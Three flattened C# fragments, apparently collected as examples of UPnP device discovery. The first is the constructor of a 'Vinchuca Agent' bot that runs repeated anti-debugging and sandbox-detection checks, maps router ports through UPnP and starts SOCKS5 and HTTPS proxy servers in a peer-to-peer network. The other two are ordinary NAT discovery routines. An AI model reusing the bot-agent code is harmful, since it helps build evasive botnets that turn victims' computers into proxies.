public Agent(int port, BotIdentifier id) { BotIdentifier.Id = id; Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port); _worker = ClientWorker.Instance; _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress())) { var upnpSearcher = new UpnpSearcher(); upnpSearcher.DeviceFound += (s, e) => { PublicIP = e.Device.GetExternalIP(); Logger.Verbose("External IP Address: {0}", PublicIP); try { var externalPort = BotIdentifier.Id.GetPort(); BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort); var device = e.Device; device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2)); } catch (MappingException ex) { Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText); } finally { upnpSearcher.Stop(); } }; upnpSearcher.Search(); } _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _communicationManager = new CommunicationManager(_listener, _worker); var peersManager = new PeerManager(_communicationManager, _peerList, _worker); _messagesManager = new MessageManager(peersManager); peersManager.MessageSender = _messagesManager; RegisterMessageHandlers(peersManager); var externPort = BotIdentifier.Id.GetPort(); _socks5 = new Socks5Server(externPort + 1); _https = new HttpsProxyServer(externPort + 2); _connectivityTester = new ConnectivityTester(); _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
private async Task <IEnumerable <NatDevice> > DiscoverAsync(PortMapper portMapper, bool onlyOne, CancellationTokenSource cts) { TraceSource.LogInfo("Start Discovery"); var searcherTasks = new List <Task <IEnumerable <NatDevice> > >(); if (portMapper.HasFlag(PortMapper.Upnp)) { var upnpSearcher = new UpnpSearcher(new IPAddressesProvider()); upnpSearcher.DeviceFound += (sender, args) => { if (onlyOne) { cts.Cancel(); } }; searcherTasks.Add(upnpSearcher.Search(cts.Token)); } if (portMapper.HasFlag(PortMapper.Pmp)) { var pmpSearcher = new PmpSearcher(new IPAddressesProvider()); pmpSearcher.DeviceFound += (sender, args) => { if (onlyOne) { cts.Cancel(); } }; searcherTasks.Add(pmpSearcher.Search(cts.Token)); } await Task.WhenAll(searcherTasks); TraceSource.LogInfo("Stop Discovery"); var devices = searcherTasks.SelectMany(x => x.Result); foreach (var device in devices) { var key = device.ToString(); NatDevice nat; if (Devices.TryGetValue(key, out nat)) { nat.Touch(); } else { Devices.Add(key, device); } } return(devices); }
private async Task <IEnumerable <NatDevice> > DiscoverAsync(PortMapper portMapper, bool onlyOne, CancellationTokenSource cts) { TraceSource.LogInfo("Start Discovery"); var searcherTasks = new List <Task <IEnumerable <NatDevice> > >(); if (portMapper.HasFlag(PortMapper.Upnp)) { var upnpSearcher = new UpnpSearcher(new IPAddressesProvider()); upnpSearcher.DeviceFound += (sender, args) => { if (onlyOne) { cts.Cancel(); } }; searcherTasks.Add(upnpSearcher.Search(cts.Token)); } if (portMapper.HasFlag(PortMapper.Pmp)) { throw new NotImplementedException(); /*var pmpSearcher = new PmpSearcher(new IPAddressesProvider()); * pmpSearcher.DeviceFound += (sender, args) => { if (onlyOne) cts.Cancel(); }; * searcherTasks.Add(pmpSearcher.Search(cts.Token));*/ } var devices = (await Task.WhenAll(searcherTasks).ConfigureAwait(false)).SelectMany(enumerable => enumerable.ToList()).ToList(); TraceSource.LogInfo("Stop Discovery"); foreach (var device in devices) { var key = device.ToString(); NatDevice nat; if (Devices.TryGetValue(key, out nat)) { nat.Touch(); } else { Devices.Add(key, device); } } return(devices); }